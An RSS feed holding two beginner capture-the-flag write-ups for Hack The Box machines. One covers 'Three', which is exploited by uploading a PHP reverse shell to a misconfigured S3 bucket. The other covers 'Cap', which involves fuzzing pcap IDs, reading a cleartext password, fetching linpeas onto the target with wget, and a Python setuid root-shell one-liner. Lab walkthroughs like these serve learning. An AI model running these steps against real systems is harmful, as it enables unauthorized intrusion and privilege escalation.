<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tokiko on Medium]]></title>
        <description><![CDATA[Stories by Tokiko on Medium]]></description>
        <link>https://medium.com/@yosefzax100?source=rss-5d27ea13b59e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*4032Mquvpc-5oxUF</url>
            <title>Stories by Tokiko on Medium</title>
            <link>https://medium.com/@yosefzax100?source=rss-5d27ea13b59e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:30:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yosefzax100/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[THREE CTF LAB IN HTB]]></title>
            <link>https://medium.com/@yosefzax100/three-ctf-lab-in-htb-b09996636b20?source=rss-5d27ea13b59e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b09996636b20</guid>
            <dc:creator><![CDATA[Tokiko]]></dc:creator>
            <pubDate>Fri, 06 Feb 2026 05:56:23 GMT</pubDate>
            <atom:updated>2026-02-06T05:56:23.835Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Three was my first successful reverse shell exploit. Here’s how a misconfigured S3 bucket gave me full system access.</strong></p><p><strong>The machine is about a s3 bucket exploitation and its basically a web service provided by aws and it misconfigured that anyone can edit(read/wirte) the files in it and these files are stored in a directory called bucket</strong></p><p><strong>1-</strong> <strong>First thing we are asked for the open ports so we will use nmap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*bWqmgZ-MBWZ2bL5x.jpeg" /></figure><p>so we simply use nmap &lt;IP ADDRESS&gt; -sS -sV</p><p>-sS = Stealth SYN scan (professional touch)</p><p>-sV = Service version detection (important!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*Nu_xPMkqVPzuZpl4aAnONA.png" /><figcaption>(nmap scan)</figcaption></figure><p>we can see that we have ssh(22) and http(80) open which mean that there is a webpage here so lets check it out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jm9CxyB1cKdcZPJitvV03g.png" /><figcaption>(http://&lt;IP ADDRESS&gt;/)</figcaption></figure><p>its a site that is for a band business now lets see what we can do here</p><p>when examining the webpage we find the contact fields to fill but it isnot functional and doesnot really do what it is required to do</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*v8P0ER36H9k1nvLH2CpVGA.png" /></figure><p>we find /action_page.php which makes it logically right to think the backend is working using php and we can visit /index.php to make sure it works and we also find the domain (thetoppers.htb)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*MvTdx4SxAg8xRHG5ONIHQA.png" /></figure><p>we have to put the domain in &lt;etc/hosts&gt; its normal to have a virtual host so we can add it to be able to interact with it</p><p>&lt;echo “10.129.227.248 thetoppers.htb” | sudo tee -a /etc/hosts&gt;</p><p>now we should be able to do subdomain fuzzing on the webpage and the domain we will use gobuster for this</p><p>Using Gobuster for virtual host enumeration, I discovered an interesting subdomain:</p><p>gobuster vhost -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u <a href="http://thetoppers.htb/">http://thetoppers.htb</a> — append-domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phY8VI6gEFimIlU8JzPgTA.png" /></figure><p>we got two subdomains but we see that there was a problem with the second subdomain and it was probably because of the underscore (_)</p><p>but its not the same for the first one so lets do the same thing we did for the domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*H6lloA3PEeM8868f6sOWIg.png" /></figure><p>after adding it to &lt;/etc/hosts&gt; we can to make sure it works so we run this code that shows us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*SL00FeDLICmPRonqc45ZAw.png" /></figure><p>now we know its working fine lets use aws configure and try a random inputs</p><p>&lt;aws configure&gt;</p><p>AWS Access Key ID []: test<br>AWS Secret Access Key []: test<br>Default region name []: test<br>Default output format []:test</p><p>this should do it doesnot really matter what you type here</p><p>lets check the subdomain using this command</p><p>&lt;aws — endpoint=<a href="http://s3.thetoppers.htb/">http://s3.thetoppers.htb</a> s3 ls&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*-Z8PDEn0h3SmCfNSAxA4oA.png" /></figure><p>now lets do the same thing and add the domain we found in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bM1c6JDl8OxtdiXUTiVrsQ.png" /></figure><p>We see the files index.php , .htaccess and a directory called images in the specified bucket. It seems like<br>this is the webroot of the website running on port 80 and we can tell by seeing htaccess. So the Apache server is using this S3 bucket as<br>storage as we explained earlier.<br>awscli has got another feature that allows us to copy files to a remote bucket. We already know that the website is using PHP. Thus, we can try uploading a PHP shell file to the S3 bucket and since it’s uploaded to<br>the webroot directory we can visit this webpage in the browser, which will, in turn, execute this file and we will achieve remote code execution.<br>We can use the following PHP one-liner which uses the system() function which takes the URL parameter<br>cmd as an input and executes it as a system command.</p><p>we can do the reverse shell as well by only using php so lets try it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*rf-ar3KUkkCCFu5mtfHBTA.png" /></figure><p>after creating a php file donot forget to make it executable by using chmod and this file should do just fine to get he reverse shell after uploading it to the storage you have to just run this in your browser</p><p>&lt;<a href="http://thetoppers.htb/phprevshell.php">http://thetoppers.htb/phprevshell.php</a>&gt;</p><p>this when it become easy just get to the flag and use cat to get it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*oKRJLfSYcnn9d6gXXU53rQ.png" /></figure><p>this is it just make sure to give respect for the creator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*w0uQCKcznOfuFzoJ.jpg" /><figcaption>(this isnot me)</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b09996636b20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Cap Write-up beginner friendly]]></title>
            <link>https://medium.com/@yosefzax100/htb-cap-write-up-beginner-friendly-83da2a3e2cae?source=rss-5d27ea13b59e------2</link>
            <guid isPermaLink="false">https://medium.com/p/83da2a3e2cae</guid>
            <category><![CDATA[cap-htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Tokiko]]></dc:creator>
            <pubDate>Mon, 15 Dec 2025 17:14:16 GMT</pubDate>
            <atom:updated>2025-12-15T17:14:16.147Z</atom:updated>
            <content:encoded><![CDATA[<p>we will look over htb cap lab and inroduce new techs and learn new thing</p><p>let get in the first step and see what does it need</p><p>we will use nmap in the first step after we got the target ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iwLwmmzCYMgxwmrPCnkazA.png" /><figcaption>10.10.10.245</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*Yl-YQbgPNkmvoBb0A1PJMA.png" /></figure><p>then we use nmap -p- -sC -sV -A -T5 IP to scan the site (-sC : run scripts and These scripts do:</p><ul><li>Basic vulnerability checks</li><li>Service enumeration</li><li>Banner grabbing</li><li>Examples : HTTP title SSH host keys SMB info</li><li>-sV : checks services versions</li><li>-A : checks the system and do aggresive enumeration</li><li>-T5:insane speed scan to save time)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKHRss8xIt2q9M4iwzNGKQ.png" /></figure><p>the results that will shows will be something like that</p><p>as we can see : <br>ftp : 21</p><p>ssh : 22</p><p>http : 80</p><p>(i would recommed giving more attention to the version of service in this example the http server have <a href="https://gunicorn.org/">gunicorn </a>which provide some information about the server)</p><p>next step we can try connecting through ftp using an anonymous login :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*3YGK8ulPnEx6dwBZoJTC_A.png" /><figcaption>(exit if stuck)</figcaption></figure><p>unfortuntly it failed lets check the http server and see what we got</p><p>we can conncet to a http server by simply putting the ip in the browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGCJcCe10ljls0yI6OmwUw.png" /><figcaption>(this is the main page we will face)</figcaption></figure><p>This dashboard belong to Nathan and it provides information about the site</p><p>After clicking security snapshot it show some reports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GsficI8WRvpWqqZP8PKkXw.png" /></figure><p>if we notice the url it show an id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*9P6iDp1ejkhTdksCqDYBlA.png" /></figure><p>we might want to check for other user so we will use ffuf to fuzz the possible numbers that could exist and therefore the number of pcap files but first lets download a wordlist to be able to enumurate</p><p>we will download <a href="https://github.com/danielmiessler/SecLists">SecList </a>in this way <br>sudo git clone <a href="https://github.com/danielmiessler/SecLists.git">https://github.com/danielmiessler/SecLists.git</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*EY8y4QvApQtL_AO-B6nGdg.png" /></figure><p>the output should looks like this once it done we can start using ffuf to fuzz</p><p>and the command will be (ffuf -u <a href="http://10.10.10.245/data/FUZZ">http://10.10.10.245:80/data/FUZZ</a> -w /usr/share/wordlists/SecLists/Fuzzing/3-digits-000–999.txt)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mn6FVr_ieeqbzQjrMah4EQ.png" /></figure><ul><li>u : put the link or url you want to enumrate and replace the number with FUZZ</li><li>-w : stands for wordlist and you simply have to put the wordlist</li></ul><p>after applying that you should see alot numbers moving around and you will see that 000 is unique and thats the file we are targeting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ng9SobPnxL1MvWiGMfwmBA.png" /></figure><p>now let try downloading this file from the web page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*widMfLoaGqMtfDDLBjq7uw.png" /><figcaption>(now let try to download the pcap file)</figcaption></figure><p>after we install the file lets simply double click on it to run <a href="https://www.kali.org/tools/wireshark/">wireshark</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_fd3M7c5V4RtK__bOL9drQ.png" /><figcaption>simply we look for info and packets until we discover something interested</figcaption></figure><p>after looking for a while you will find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*6qPu0GyVVes7Nxi2GcawNA.png" /><figcaption>(try not to scroll so fast and read carefully)</figcaption></figure><p>we got an interesting info (user:nathan)(pass:Buck3tH4TF0RM3!)</p><p>since we have username and password we are going to test them in <a href="https://www.geeksforgeeks.org/linux-unix/ssh-command-in-linux-with-examples/">ssh</a></p><p>ssh nathan@10.10.10.245</p><p>and it should look like this just make sure to paste the password (Ctrl+shift+V)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*ntkfyrPMjH9kKs8xPgZitQ.png" /><figcaption>(Note: the password is hidden)</figcaption></figure><p>once we are in we check the files and see the user flag by typing cat user.txt (bce93a349fae5c2733f53654837e9e77)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7LePVCaq23n3p2OpAArDDA.png" /></figure><p>now we want to do a quick check for the system and we will use <a href="https://www.howtonetwork.com/certifications/security/what-is-linpeas/">linpeas </a>for that but first we have to download it on nathan device so we will first open http server from our linux so will use download it by using</p><p>wget <a href="https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh">https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/162/1*rVy5g7q1Y_qup3u8Pz484Q.png" /><figcaption>(donot forget to change the permissions by using chmod)</figcaption></figure><p>now will open a http server in the same location where linpeas.sh exist by using (sudo python3 -m http.server 80)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*-bIkeMsAFmLWJKKlce2Ssw.png" /><figcaption>the http server is running successfully</figcaption></figure><p>now we will download linpeas.sh on nathan’s device by using this command (wget <a href="http://10.10.17.110/linpeas.sh">http://your ip:80/linpeas.sh</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*KJqS_aCNs3t3CGbM1Ylcnw.png" /><figcaption>donot forget to change the permissions if needed</figcaption></figure><p>after running it you will see a lot of thing but lets focus on one part and we can know what is important and what is not by using this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prqPqBFQ93KYAXcSsmzO-g.png" /><figcaption>se we know red and red/yellow is the target</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zoi6mpQuvDG10KnaUHSG4w.png" /><figcaption>we got the target</figcaption></figure><p>we will simply use it to have root priviledge and do priviledge esclation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*R0CTEcf5cHpsrmLQE3DqDQ.png" /><figcaption>we can access python3.8</figcaption></figure><p>we used os library and we set the uid to 0(root) and then we execute</p><p>import os;os.setuid(0);os.system(“/bin/bash”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zx_vgFHpxLQ7RDq9L0UvWg.png" /><figcaption>(you can notice the root in the first part to make sure you got it)</figcaption></figure><p>now simply by doing the same thing we did with user we get the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*R1BXnoS1n2SRS_uS12dLWA.png" /></figure><p>congrats you did it.</p><p>hopefully my write-up does help someone out there this is my first write-up and iam a beginner as well so i tried my best to make it clear to anyone who is like me so i would like to ask you what else did you notice from linpeas check???</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83da2a3e2cae" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>